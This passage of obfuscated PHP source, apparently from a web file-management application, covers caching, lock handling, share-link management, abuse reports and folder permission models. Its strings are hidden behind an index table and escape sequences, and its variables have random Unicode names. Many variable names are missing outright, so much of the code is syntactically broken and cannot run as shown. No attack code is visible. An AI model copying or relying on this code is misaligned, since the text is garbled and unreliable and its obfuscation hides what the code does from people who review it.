$[$[88]]; $this->prefix = $[851]; $this->cacheTime = $ㆁ; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($ٷ) { $ =& $_SERVER[Ȣ]; $ٷ = str_replace(array($[852], $[108], $[83]), $[853], $ٷ); return $this->cachePath . $[854] . $ٷ . $[855]; } public function set($ԧö, $㯟, $۹ = false) { $ = $this->getFile($ԧö); if (file_put_contents($, $this->prefix . $㯟, LOCK_EX)) { @touch($, intval(time() + $۹)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($Ւ) { $ܱ = $this->getFile($Ւ); if (file_exists($ܱ) && filemtime($ܱ) < time()) { @unlink($ܱ); return !1; } $ݼ = @file_get_contents($ܱ); return substr($ݼ, strlen($this->prefix)); } public function remove($) { $ = $this->getFile($); return @unlink($); } public function deleteAll() { $ =& $_SERVER[Ȣ]; $䉦 = scandir($this->cachePath); foreach ($䉦 as $) { $إ = $this->cachePath . $; if (strpos($إ, $[855]) && strpos($إ, $[856])) { @unlink($إ); } } } public function clearTimeout() { $ʩ =& $_SERVER[Ȣ]; $Ρ = scandir($this->cachePath); foreach ($Ρ as $) { $˼ = $this->cachePath . $; if (strpos($˼, $ʩ[855]) && strpos($˼, $ʩ[856]) && filemtime($˼) < time()) { @unlink($˼); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $殡 =& $_SERVER[Ȣ]; if (self::$handle) { return self::$handle; } $܅ = $GLOBALS[$殡[6]][$殡[357]]; self::$timeout = $܅[$殡[857]] ? $܅[$殡[857]] : 10; $䝒 = _get($GLOBALS[$殡[6]], $殡[858]); $䥅 = $܅[$殡[844]] ? $܅[$殡[844]] : $殡[206]; if ($䥅 == $殡[21] && $䝒 == $殡[13]) { $䥅 = $殡[206]; } switch ($䥅) { case $殡[847]: self::$handle = new CacheLockRedis(); break; case $殡[848]: self::$handle = new CacheLockMemcached(); break; case $殡[21]: self::$handle = new CacheLockDatabase(); break; case $殡[206]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($殡[859], $殡[860]); } return self::$handle; } private static function key($Ԥ) { return $_SERVER[Ȣ][861] . Cache::key($Ԥ); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ŧ = '') { self::$errorMsg = $ŧ; } public static function lockGlobal($װ, $) { return self::lock($װ, $, !0); } public static function lock($, $紧 = false, $ = false) { $ҁ =& $_SERVER[Ȣ]; $ԇȪ = self::init(); $ = self::key($); $紧 = $紧 ? $紧 : self::$timeout; $Ծ = $ԇȪ->lock($, $紧); $ႆ = timeFloat(); if (!$Ծ) { $ܮҀ = "\x6c\157\x63\x6b\40\145\x72\x72\157\162\73\153\145\171\75{$}\73\x74\x69\155\145\x3d{$紧}\x3b" . self::$errorMsg . $ҁ[81] . get_caller_msg(); $锖 = LNG($ҁ[862]) . "\50{$紧}\163\x29\x2e" . LNG($ҁ[863]); $锖 .= $ҁ[864]; if (is_string(self::$errorMsg) && self::$errorMsg) { $锖 = $锖 . $ҁ[865] . self::$errorMsg; } write_log($ܮҀ, $ҁ[860]); show_json($锖, !1); } if (!$) { self::$lockItem[$] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $̏ = number_format(timeFloat() - $ႆ, 3); write_log($ҁ[866] . $ . $ҁ[867] . $̏, $ҁ[860]); } return $Ծ; } public static function lockGet($) { $ = self::key($); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $ =& $_SERVER[Ȣ]; $ = self::key($); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[868] . $, $[860]); } return; } public static function unlockRuntime() { $ȩ =& $_SERVER[Ȣ]; $ = self::init(); $Ρ = !1; foreach (self::$lockItem as $К => $) { if (!$) { continue; } $->unlock($К); if (!$Ρ) { $Ρ = !0; write_log($ȩ[869] . $К . $ȩ[81] . get_caller_msg(), $ȩ[860]); continue; } write_log($ȩ[869] . $К, $ȩ[860]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($ȩ[870] . $ . $ȩ[871] . ACTION, $ȩ[860]); } } public static function fileLock($Ԅ̔) { $Т =& $_SERVER[Ȣ]; if (!$GLOBALS[$Т[872]]) { $GLOBALS[$Т[872]] = array(); } $GLOBALS[$Т[872]][$Ԅ̔] = !1; $ = fopen(DATA_PATH . $Ԅ̔ . $Т[873], $Т[874]); if (!$) { return !1; } $GLOBALS[$Т[872]][$Ԅ̔] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($Ԅ̔); show_json($Т[875], !1); return !1; } public static function fileUnlock($ָ) { $ =& $_SERVER[Ȣ]; $ = $GLOBALS[$[872]][$ָ]; if (!$) { return; } $GLOBALS[$[872]][$ָ] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $圯ѩ =& $_SERVER[Ȣ]; if (!$GLOBALS[$圯ѩ[872]]) { return; } foreach ($GLOBALS[$圯ѩ[872]] as $ߺ => $) { if (!$) { continue; } $GLOBALS[$圯ѩ[872]][$ߺ] = !1; flock($, LOCK_UN); fclose($); } $GLOBALS[$圯ѩ[872]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto b; fӆ: class ShareModel extends ModelBase { protected $tableName = "\x73\x68\141\162\x65"; protected $dataAuto = array(array("\155\x6f\x64\151\146\171\124\x69\x6d\145", "\164\x69\155\x65", "\x69\156\163\145\x72\164\54\165\x70\144\x61\164\x65", "\146\x75\156\143\164\x69\157\x6e"), array("\x63\162\x65\x61\x74\145\x54\151\155\145", "\164\151\155\145", "\x69\156\163\145\x72\164", "\x66\x75\x6e\143\164\x69\x6f\x6e"), array("\x6f\160\x74\x69\x6f\156\x73", '', "\151\x6e\163\145\x72\164\54\x75\x70\144\x61\x74\x65\x2c\x73\145\154\x65\x63\164", "\152\x73\157\x6e")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($) { $ը̅ =& $_SERVER[Ȣ]; $͚ = isset($[0]) ? $[0] : !1; return array($ը̅[1970] => array(USER_ID, $ը̅[1971]), $ը̅[1913] => array($͚, $ը̅[1972])); } protected function listSimple() { $бͮ = array($_SERVER[Ȣ][1666] => USER_ID); $ = $this->field($this->fieldList)->where($бͮ)->select(); return $ ? $ : array(); } protected function getInfo($߆, $چ = false) { $դ =& $_SERVER[Ȣ]; if ($چ) { return $this->_getShareInfo(array($դ[493] => $߆)); } $ = $this->cacheFunctionGet($դ[1915], $߆); return $; } public function getInfoByHash($Ŭӭ) { return $this->_getShareInfo(array($_SERVER[Ȣ][495] => $Ŭӭ)); } public function getInfoByPath($䢗) { $Ӣ =& $_SERVER[Ȣ]; $ۢ = array($Ӣ[1666] => USER_ID, $Ӣ[408] => $䢗); return $this->_getShareInfo($ۢ); } public function getInfoBySourcePath($А) { $ =& $_SERVER[Ȣ]; $͖ = array($[1666] => USER_ID, $[1186] => $А); return $this->_getShareInfo($͖); } private function _getShareInfo($͂) { $ڬ =& $_SERVER[Ȣ]; $ͬ = $this->where($͂)->find(); if (!$ͬ) { return !1; } $͂ = array($ڬ[493] => $ͬ[$ڬ[493]]); $߉֞ = $ڬ[1973]; $͈ = Model($ڬ[604])->order($ڬ[405])->field($߉֞)->where($͂)->select(); if ($ͬ[$ڬ[408]] == $ڬ[204]) { $ͬ[$ڬ[97]] = IO::info($ͬ[$ڬ[1186]]); } else { $ͬ[$ڬ[97]] = Model($ڬ[1337])->pathInfo($ͬ[$ڬ[408]]); } $ͬ[$ڬ[1974]] = $͈; return $ͬ; } protected function getInfoAuth($) { $ԙ =& $_SERVER[Ȣ]; $ = $this->getInfo($); if ($[$ԙ[1666]] == USER_ID) { $[$ԙ[419]] = $[$ԙ[97]][$ԙ[419]]; } else { $[$ԙ[419]] = Model($ԙ[507])->authMake($[$ԙ[1974]]); } return $; } protected function listData($ = null, $ = 300) { $ =& $_SERVER[Ȣ]; $蕶 = array(array($[498] => array($[1024], 0), $[500] => array($[1024], 0), $[1975] => $[1931])); if ($ == $[1976]) { $蕶 = array($[498] => 1); } else { if ($ == $[1171]) { $蕶 = array($[500] => 1); } } $蕶[$[1666]] = USER_ID; $ȟٱ = $this->where($蕶)->selectPage($); return $ȟٱ; } protected function listToMe($ԉ = 300) { $շ =& $_SERVER[Ȣ]; $ = Model($շ[1977])->userGroupParents(USER_ID); $ = array($շ[588] => SourceModel::TYPE_USER, $շ[510] => USER_ID); if ($) { $ = array(array($շ[588] => SourceModel::TYPE_USER, $շ[510] => USER_ID), array($շ[588] => SourceModel::TYPE_GROUP, $շ[510] => array($շ[7], $)), $շ[1975] => $շ[1931]); } $ⲯ = Model($շ[604])->where($)->selectPage($ԉ); $ = array_to_keyvalue_group($ⲯ[$շ[377]], $շ[493]); if (!$) { return $ⲯ; } $Ȃ = $շ[1978]; $ = array($շ[493] => array($շ[424], array_keys($)), $շ[1666] => array($շ[1026], $շ[204])); $ = $this->field($Ȃ)->where($)->select(); foreach ($ as $ => &$) { $[$շ[1974]] = $[$[$շ[493]]]; } unset($); $Ғ = array($շ[1979] => $, $շ[1980] => $ⲯ[$շ[374]]); return $Ғ; } protected function shareAdd($𫽫, $퀺) { $垀Н =& $_SERVER[Ȣ]; $ݏ = $this->_addShareData($𫽫, $퀺); if (!empty($퀺[$垀Н[1981]])) { $this->_shareAuthSet($ݏ, $퀺[$垀Н[1981]]); } $this->shareEventAdd($𫽫, $퀺, $垀Н[1174]); return $ݏ; } protected function shareAddSystem($غ, $Ց) { $ﬥ =& $_SERVER[Ȣ]; $ = $this->_addShareData($غ, $Ց, $ﬥ[1286]); $this->_shareAuthSet($, $Ց[$ﬥ[1981]]); return $; } private function shareEventAdd($Ε, $Ƨ, $χ = "\x61\x64\144") { $ͬ =& $_SERVER[Ȣ]; if (!$Ε || $Ε == $ͬ[204]) { return; } if ($χ == $ͬ[1174]) { if ($Ƨ[$ͬ[498]] == $ͬ[99]) { Model($ͬ[572])->eventShare($Ε, $ͬ[1982]); } if ($Ƨ[$ͬ[500]] == $ͬ[99]) { Model($ͬ[572])->eventShare($Ε, $ͬ[1983]); } return; } $ = $this->getInfoByPath($Ε); $ij = $ͬ[1984]; if ($[$ͬ[498]] == $ͬ[204] && $Ƨ[$ͬ[498]] == $ͬ[99]) { $ij = $ͬ[1982]; } if ($[$ͬ[498]] == $ͬ[99] && $Ƨ[$ͬ[498]] == $ͬ[204]) { $ij = $ͬ[1985]; } if ($[$ͬ[500]] == $ͬ[204] && $Ƨ[$ͬ[500]] == $ͬ[99]) { $ij = $ͬ[1983]; } if ($[$ͬ[500]] == $ͬ[99] && $Ƨ[$ͬ[500]] == $ͬ[204]) { $ij = $ͬ[1986]; } Model($ͬ[572])->eventShare($Ε, $ij); return; } private function _addShareData($֣, $ = array(), $Υӧ = false) { $ֿ =& $_SERVER[Ȣ]; $ʆ = $Υӧ == $ֿ[1286] ? 0 : USER_ID; $ҷ = array($ֿ[423] => $֣, $ֿ[1657] => $ʆ); if ($֣ == 0) { $ҷ = array($ֿ[1987] => $[$ֿ[1186]], $ֿ[1657] => $ʆ); } if ($ђ = $this->where($ҷ)->find()) { return $ђ[$ֿ[493]]; } if ($֣ == 0) { $ = array($ֿ[32] => get_path_this($[$ֿ[88]])); } else { $ = Model($ֿ[842])->sourceInfo($֣); if (!$) { return !1; } } if (!$[$ֿ[1566]]) { $[$ֿ[1566]] = $[$ֿ[32]]; } $֬ = array($ֿ[1657] => $ʆ, $ֿ[423] => $֣, $ֿ[1566] => $ֿ[12], $ֿ[498] => 0, $ֿ[500] => 0, $ֿ[1186] => $ֿ[12], $ֿ[315] => $ֿ[12], $ֿ[901] => $ֿ[12], $ֿ[1988] => 0, $ֿ[1989] => 0, $ֿ[501] => 0, $ֿ[502] => $ֿ[12], $ֿ[495] => $ֿ[12]); $Բ = explode($ֿ[50], $ֿ[1990]); foreach ($Բ as $Ѷ) { if (!isset($[$Ѷ])) { continue; } $֬[$Ѷ] = $[$Ѷ]; } $ = $this->add($֬); $ = array($ֿ[495] => short_id($)); $this->where(array($ֿ[492] => $))->save($); return $; } private function _shareAuthSet($, $) { $ =& $_SERVER[Ȣ]; if (!is_array($)) { return !1; } $˚ = Model($[1941]); $˚->where(array($[493] => $))->delete(); $ڜ = array(); foreach ($ as $) { $ = SourceModel::TYPE_USER; if ($[$[417]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $ = array($[493] => $, $[417] => $, $[510] => intval($[$[510]]), $[1937] => 0, $[1991] => -1); if ($[$[1937]]) { $[$[1937]] = $[$[1937]]; } else { if ($[$[1991]]) { $[$[1991]] = $[$[1991]]; } } $ڜ[] = $; } return $˚->addAll($ڜ, array(), !0); } public function numViewAdd($) { $ʉ =& $_SERVER[Ȣ]; $ބ҂ = array($ʉ[492] => $); $this->where($ބ҂)->setAdd($ʉ[1988]); } public function numDownloadAdd($) { $߫ =& $_SERVER[Ȣ]; $ͻ = array($߫[492] => $); $this->where($ͻ)->setAdd($߫[1989]); } protected function shareEdit($, $څ) { $ =& $_SERVER[Ȣ]; $ԗ = $this->getInfo($); if (!$ԗ) { return !1; } $this->_checkLinkShare($څ, $ԗ); $͓ = array(); $ = explode($[50], $[1992]); foreach ($ as $ф) { if (!array_key_exists($ф, $څ)) { continue; } $͓[$ф] = $څ[$ф]; } $this->shareEventAdd($ԗ[$[408]], $څ, $[1804]); $this->where(array($[492] => $))->save($͓); if (isset($څ[$[1981]])) { $this->_shareAuthSet($, $څ[$[1981]]); } return !0; } private function _checkLinkShare($, $) { $Ά =& $_SERVER[Ȣ]; if ($[$Ά[498]] != $Ά[99]) { return; } $罿 = $[$Ά[97]][$Ά[408]]; if ($[$Ά[97]][$Ά[33]] != $Ά[206]) { $¬ = $this->_folderReport($罿); if (!$¬) { return; } show_json(LNG($Ά[1993]) . $Ά[1994] . $¬, !1); } $ӯ = Model($Ά[842])->fileInfoGet($[$Ά[97]][$Ά[408]]); if (!$ӯ) { return; } $ = $this->shareFileMeta($ӯ[$Ά[472]]); if (isset($[$Ά[382]]) && $[$Ά[382]] == $Ά[99]) { show_json(LNG($Ά[1995]), !1); } } private function _folderReport($) { $Ό =& $_SERVER[Ȣ]; $ۺ = array($Ό[472] => array($Ό[1024], 0), $Ό[767] => 3); $ = Model($Ό[1996])->where($ۺ)->field($Ό[472])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $Ό[12], $Ό[472]); $܂ = $Ό[50] . $ . $Ό[50]; $ۺ = array($Ό[472] => array($Ό[7], $), $Ό[526] => array($Ό[391], "\45{$܂}\45"), $Ό[436] => 0); $ = Model($Ό[842])->where($ۺ)->field($Ό[1997])->find(); if (!$) { return !1; } $ = substr($[$Ό[526]], strpos($[$Ό[526]], $܂)); $ۺ = array($Ό[408] => array($Ό[7], trim($, $Ό[50]))); $º = Model($Ό[842])->where($ۺ)->field($Ό[32])->select(); $Ө = array_to_keyvalue($º, $Ό[12], $Ό[32]); $Ө[] = $[$Ό[32]]; return implode($Ό[8], $Ө); } protected function remove($ʌ) { $ȷ =& $_SERVER[Ȣ]; if (is_array($ʌ)) { $ʌ = array($ȷ[7], $ʌ); } $ = array($ȷ[493] => $ʌ); $ = $this->where($)->delete(); if ($) { Model($ȷ[604])->where(array($ȷ[493] => $ʌ))->delete(); } $ = is_array($ʌ) ? $ʌ[1] : array($ʌ); for ($ = 0; $ < count($); $++) { $Ō = $this->getInfo($[$]); if ($Ō[$ȷ[500]] == $ȷ[99]) { Model($ȷ[572])->eventShare($Ō[$ȷ[408]], $ȷ[1986]); } if ($Ō[$ȷ[498]] == $ȷ[99]) { Model($ȷ[572])->eventShare($Ō[$ȷ[408]], $ȷ[1985]); } } return $; } protected function removeBySource($) { $е =& $_SERVER[Ȣ]; $˷Ħ = array($е[423] => array($е[424], $)); $ = $this->field($е[493])->where($˷Ħ)->select(); $ = array_to_keyvalue($, $е[12], $е[493]); if (!$) { return; } $˷Ħ = array($е[492] => array($е[424], $)); $this->where($˷Ħ)->delete(); Model($е[604])->where($˷Ħ)->delete(); } public function listAll($ȫ) { $ =& $_SERVER[Ȣ]; $˄ = array(); if ($ȫ[$[1666]]) { $˄[$[1666]] = $ȫ[$[1666]]; } if ($ȫ[$[778]]) { $㛦 = $ȫ[$[501]] ? $ȫ[$[501]] : strtotime(date($[1998])); $˄[$[207]] = array($[341], array($ȫ[$[778]], $㛦)); } if ($ȫ[$[33]]) { $˄[$ȫ[$[33]]] = 1; } else { $˄[] = array($[498] => array($[1024], 0), $[500] => array($[1024], 0), $[1975] => $[1931]); } if ($ȫ[$[1927]]) { $˄[] = array($[495] => $ȫ[$[1927]], $[1566] => array($[391], "\x25{$ȫ[$[1927]]}\45"), $[1975] => $[1931]); } $ = $this->_makeOrder()->where($˄)->selectPage(20); if (empty($[$[377]])) { return array(); } $this->_listDataApply($[$[377]]); return $; } public function listDataApply($) { $this->_listDataApply($); return $; } private function _listDataApply(&$;) { $ =& $_SERVER[Ȣ]; $ = array_to_keyvalue($;, $[12], $[1666]); $낶 = Model($[546])->userListInfo(array_unique($)); $菧 = array_to_keyvalue($;, $[12], $[408]); $ʈ = Model($[842])->sourceListInfo($菧, !0); foreach ($; as $ => &$͍) { $ـ© = $͍[$[1666]]; $͍[$[1999]] = $낶[$ـ©] ? $낶[$ـ©] : !1; $Đ = $͍[$[408]]; $͍[$[97]] = $ʈ[$Đ] ? $ʈ[$Đ] : !1; if ($͍[$[97]][$[436]] == $[99]) { unset($;[$]); } if ($͍[$[97]] != $[204] && !$͍[$[97]]) { unset($;[$]); } } unset($͍); $; = array_values($;); } private function _makeOrder($΅ = '') { $ =& $_SERVER[Ȣ]; $ = array($[207], $[501], $[1988], $[1989]); $ = array($[453] => $[454], $[455] => $[456]); $ = Input::get($[460], $[7], $[429], $); $ = Input::get($[461], $[7], $[2000], array($[1924], $[455])); $ = $[$]; $΅ = $΅ . "{$}\x20{$}"; return $this->order($΅); } public function reportAdd($ù) { $ۈ =& $_SERVER[Ȣ]; $站 = array($ۈ[493] => $ù[$ۈ[493]], $ۈ[1666] => USER_ID); if (Model($ۈ[1996])->where($站)->find()) { return !1; } $æͶ = array($ۈ[493] => $ù[$ۈ[493]], $ۈ[1566] => $ù[$ۈ[1566]], $ۈ[408] => $ù[$ۈ[408]], $ۈ[472] => $ù[$ۈ[472]], $ۈ[1666] => USER_ID, $ۈ[33] => $ù[$ۈ[33]], $ۈ[456] => $ù[$ۈ[456]]); return Model($ۈ[1996])->add($æͶ); } public function reportList($ϴ) { $ =& $_SERVER[Ȣ]; $ = array(); if ($ϴ[$[778]]) { $Տ = $ϴ[$[501]] ? $ϴ[$[501]] : strtotime(date($[1998])); $[$[207]] = array($[341], array($ϴ[$[778]], $Տ)); } if (isset($ϴ[$[33]]) && in_array($ϴ[$[33]], array($[99], $[440], $[2001], $[2002], $[2003]))) { $[$[33]] = $ϴ[$[33]]; } if (isset($ϴ[$[767]]) && in_array($ϴ[$[767]], array($[204], $[99], $[440], $[2001]))) { $[$[767]] = $ϴ[$[767]]; } $ = Input::get($[461], $[7], $[2000], array($[1924], $[455])); $ۛ = array($[453] => $[454], $[455] => $[456]); $龼 = $[2004] . $ۛ[$]; $ = Model($[1996])->where($)->order($龼)->selectPage(20); if (empty($[$[377]])) { return array(); } $ҵ = array_to_keyvalue_group($[$[377]], $[767], $[493]); if (!empty($ҵ[0])) { $ϴ = $ҵ[0]; $ = array($[493] => array($[7], $ϴ)); $՛ = $this->where($)->field($[493])->select(); $՛ = array_to_keyvalue($՛, $[12], $[493]); $ = array_diff($ϴ, $՛); if (!empty($)) { foreach ($[$[377]] as $؝ => $) { if (in_array($[$[493]], $)) { unset($[$[377]][$؝]); } } } } $this->_listDataApply($[$[377]]); return $; } public function reportStatus($֧) { $Ê =& $_SERVER[Ȣ]; $ӕ = array($Ê[405] => $֧[$Ê[405]]); $˳ީ = Model($Ê[1996])->where($ӕ)->field($Ê[2005])->find(); if (!$˳ީ) { return !1; } $ɩ = array($Ê[767] => $֧[$Ê[767]]); if ($֧[$Ê[767]] == $Ê[2001] && $˳ީ[$Ê[767]] == $Ê[2001]) { $ɩ[$Ê[767]] = 0; } $ = Model($Ê[1996])->where($ӕ)->save($ɩ); if ($֧[$Ê[767]] == $Ê[440]) { if ($˳ީ[$Ê[472]] != $Ê[204] && $this->shareFileMeta($˳ީ[$Ê[472]])) { $this->shareFileMeta($˳ީ[$Ê[472]], 0); } $this->remove($˳ީ[$Ê[493]]); return !0; } if ($ && $֧[$Ê[767]] == $Ê[2001]) { $ʱ = $ɩ[$Ê[767]] == $Ê[2001] ? 1 : 0; $this->shareFileMeta($˳ީ[$Ê[472]], $ʱ); $this->removeByFile($˳ީ[$Ê[472]]); } return $; } private function removeByFile($˶) { $ܼ =& $_SERVER[Ȣ]; $ = Model($ܼ[842])->where(array($ܼ[472] => $˶))->field($ܼ[408])->select(); $ = array_to_keyvalue($, $ܼ[12], $ܼ[408]); $ = array($ܼ[408] => array($ܼ[7], $), $ܼ[498] => 1); $ = $this->where($)->field($ܼ[493])->select(); if (empty($)) { return; } $ٺ = array_to_keyvalue($, $ܼ[12], $ܼ[493]); $this->remove($ٺ); } private function shareFileMeta($, $ͧ = null) { $ =& $_SERVER[Ȣ]; $ = array($[472] => $, $[105] => $[2006]); if (is_null($ͧ)) { return Model($[2007])->where($)->find(); } $[$[382]] = $ͧ; Model($[2007])->add($, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\x6f\137\163\157\165\162\x63\145\137\141\x75\x74\150"; public function getAuth($) { $ͺѦ =& $_SERVER[Ȣ]; $Lj = $this->sourceAuthSelect($); $Э = array(); $ = array(); $߲ҡ = 2 << 25; foreach ($Lj as $Ѣ) { $ܤ = Model($ͺѦ[512])->listData($Ѣ[$ͺѦ[1937]]); if (!$ܤ) { continue; } $Э[] = $Ѣ; $䂃 = 0; if ($Ѣ[$ͺѦ[417]] == SourceModel::TYPE_GROUP) { $䂃 = $߲ҡ * 2; } if ($Ѣ[$ͺѦ[417]] == SourceModel::TYPE_USER) { $䂃 = $߲ҡ; } if ($Ѣ[$ͺѦ[417]] == SourceModel::TYPE_USER && $Ѣ[$ͺѦ[510]] == $ͺѦ[204]) { $䂃 = 0; } $[] = $ܤ[$ͺѦ[419]] + $䂃; } array_multisort($, SORT_DESC, $Э); return $Э; } public function sourceAuthSelect($) { $ =& $_SERVER[Ȣ]; static $ = array(); $ʒ = is_array($) ? !1 : !0; if ($ʒ) { $ = array($); } $ߢԤ = array(); foreach ($ as $֚) { if (isset($[$֚])) { $ߢԤ[$֚] = $[$֚]; } } if (count($ߢԤ) == count($)) { return $ʒ ? $ߢԤ[$[0]] : $ߢԤ; } $ƭ = $[2008]; $ = array($[408] => array($[7], $)); $Г = $this->field($ƭ)->order($[405])->where($)->select(); $ϸ = array_to_keyvalue_group($Г, $[408]); foreach ($ as $֚) { $[$֚] = $ϸ[$֚] ? $ϸ[$֚] : array(); } if ($ʒ) { return $Г; } return $ϸ; } public function setAuth($, $̫) { $ =& $_SERVER[Ȣ]; $͉ = Model($[1337])->sourceInfo($); if (!$͉) { return !1; } if ($͉[$[417]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $Ώ = $͉[$[510]]; if ($Ώ != $) { $ = array($[1834] => $Ώ); $猛 = Model($[1923])->field($[1666])->where($)->select(); $猛 = array_to_keyvalue($猛, $[12], $[1666]); } $ܛ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ԭƊ = array(); foreach ($̫ as $ք吽) { if (!in_array($ք吽[$[417]], $ܛ)) { show_json(LNG($[2009]), !1); } if ($Ώ != $) { if ($ք吽[$[417]] == SourceModel::TYPE_GROUP) { } if ($ք吽[$[510]] != 0 && !in_array($ք吽[$[510]], $猛)) { } } if ($ք吽[$[510]] == 0) { $ք吽[$[417]] = SourceModel::TYPE_USER; } $ԭƊ[] = array($[408] => $, $[417] => intval($ք吽[$[417]]), $[510] => intval($ք吽[$[510]]), $[1937] => intval($ք吽[$[1937]]) ? intval($ք吽[$[1937]]) : 0, $[1991] => intval($ք吽[$[1991]]) ? intval($ք吽[$[1991]]) : -1); } $this->where(array($[423] => $))->delete(); $this->addAll($ԭƊ); return !0; } public function authClear($) { $ =& $_SERVER[Ȣ]; $ޕҵ = Model($[1337])->sourceInfo($); $ʾ = array($); if ($ޕҵ[$[416]] == $[99]) { $φ = array($[592] => array($[552], $ޕҵ[$[526]] . $ . $[553])); $ʾ = Model($[1337])->field($[423])->where($φ)->getField($[408], !0); $ʾ[] = $; } $this->where(array($[423] => array($[424], $ʾ)))->delete(); return !0; } public function getAllChildren($) { $ھ =& $_SERVER[Ȣ]; $ = Model($ھ[1337])->sourceInfo($); if ($[$ھ[416]] != $ھ[99]) { return $this->sourceListAuth(array($)); } if ($[$ھ[417]] != SourceModel::TYPE_GROUP) { return array(); } $̋ = 1; $״ = array($); if ($[$ھ[503]] == $ھ[204] && $[$ھ[510]] != $̋) { $״ = $this->groupChidldAllRootSource($[$ھ[510]]); } $ = $this->field($ھ[408])->group($ھ[408])->select(); $ = array_to_keyvalue($, $ھ[12], $ھ[408]); if (!$) { return array(); } $č = $ھ[2010]; $ن = array($ھ[408] => array($ھ[7], $), $ھ[436] => $ھ[204]); $ = Model($ھ[842])->field($č)->where($ن)->select(); $ = array($); foreach ($ as $) { foreach ($״ as $❚) { $ԩ = $ھ[50] . $❚ . $ھ[50]; $ۓ = $[$ھ[526]] . $[$ھ[408]] . $ھ[50]; if (strstr($ۓ, $ԩ)) { $[] = $[$ھ[408]]; break; } } } return $this->sourceListAuth($); } private function sourceListAuth($) { $蝍 =& $_SERVER[Ȣ]; $焐 = Model($蝍[1337])->sourceListInfo($, !0); $Ӯ = $this->sourceAuthSelect($); $ʝ = array(); $ = array(); foreach ($焐 as $ʥ) { unset($ʥ[$蝍[459]]); unset($ʥ[$蝍[457]]); unset($ʥ[$蝍[419]]); unset($ʥ[$蝍[97]]); $ = $Ӯ[$ʥ[$蝍[408]]]; if (!$) { continue; } $ʥ[$蝍[2011]] = $this->authTargetInfo($); $ʥ[$蝍[524]] = rtrim($ʥ[$蝍[530]], $蝍[8]) . $蝍[8] . ltrim($ʥ[$蝍[524]], $蝍[8]); $ʝ[] = $ʥ; $쌑 = count(explode($蝍[8], trim($ʥ[$蝍[524]], $蝍[8]))); $[] = $쌑 + ($ʥ[$蝍[33]] == $蝍[89] ? 0 : 1000); } array_multisort($, SORT_ASC, $ʝ); return $ʝ; } private function groupChidldAllRootSource($Ǫ) { $ʵ =& $_SERVER[Ȣ]; $ = Model($ʵ[2012])->groupChildrenAll($Ǫ); $ = array($ʵ[503] => 0, $ʵ[510] => array($ʵ[7], $), $ʵ[417] => SourceModel::TYPE_GROUP); $ˠ = Model($ʵ[842])->field($ʵ[408])->where($)->select(); $ˠ = array_to_keyvalue($ˠ, $ʵ[12], $ʵ[408]); return $ˠ; } private function authTargetInfo($) { $Ș =& $_SERVER[Ȣ]; $ = array(); $ҟ = array(); $ = 2 << 25; foreach ($ as $) { $ = Model($Ș[512])->listData($[$Ș[1937]]); if (!$) { continue; } if ($[$Ș[417]] == SourceModel::TYPE_USER) { $ = Model($Ș[518])->getInfoSimpleOuter($[$Ș[510]]); if ($[$Ș[1666]] == $Ș[1200]) { continue; } if ($[$Ș[1666]] == $Ș[204]) { $[$Ș[32]] = LNG($Ș[2013]); } } else { $ = Model($Ș[527])->getInfoSimple($[$Ș[510]]); } if (!$) { continue; } $[$Ș[471]] = $; $[] = $; $ = 0; if ($[$Ș[417]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($[$Ș[417]] == SourceModel::TYPE_USER) { $ = $; } if ($[$Ș[417]] == SourceModel::TYPE_USER && $[$Ș[510]] == $Ș[204]) { $ = 0; } $ҟ[] = $[$Ș[419]] + $; } array_multisort($ҟ, SORT_DESC, $); return $; } public function getAllChildrenByUser($Ր, $߿쳘) { $怩 =& $_SERVER[Ȣ]; $㉖ = Model($怩[546])->getInfo($߿쳘); if (!$߿쳘 || !$Ր || !$㉖) { return array(); } $ = Model($怩[1337])->sourceInfo($Ր); $܌ = array(); $ = 1; if ($[$怩[503]] == $怩[204] && $[$怩[510]] != $ && $this->groupContainUser($[$怩[510]], $߿쳘)) { foreach ($㉖[$怩[2014]] as $þ) { $ = Model($怩[527])->getInfo($þ[$怩[1834]]); $̏ = Model($怩[546])->getInfoSimpleOuter($߿쳘); $̏[$怩[471]] = $þ[$怩[419]]; if (Model($怩[512])->authCheckAction($þ[$怩[419]][$怩[419]], $怩[1854])) { continue; } $ٟ = array($怩[32] => $怩[1615] . $[$怩[32]], $怩[408] => $[$怩[97]][$怩[408]], $怩[88] => KodIO::make($[$怩[97]][$怩[408]]), $怩[503] => $怩[204], $怩[417] => $怩[520], $怩[33] => $怩[556], $怩[524] => $[$怩[531]], $怩[1834] => $[$怩[1834]], $怩[528] => $[$怩[503]], $怩[2011] => array($̏)); $܌[$ٟ[$怩[408]]] = $ٟ; } } $è = array(); $Ͱǂ = $this->getAllChildren($Ր); foreach ($Ͱǂ as $ա) { $őİ = !1; foreach ($ա[$怩[2011]] as $̴) { if ($̴[$怩[1666]]) { if ($̴[$怩[1666]] == $߿쳘) { $őİ = !0; break; } } if ($̴[$怩[1834]]) { if ($this->groupContainUser($̴[$怩[1834]], $߿쳘)) { $őİ = !0; break; } } } if ($őİ) { $è[] = $ա; } $躓 = $ա[$怩[408]]; if (isset($܌[$躓])) { $ա[$怩[2011]][] = $܌[$躓][0]; $܌[$躓] = !1; 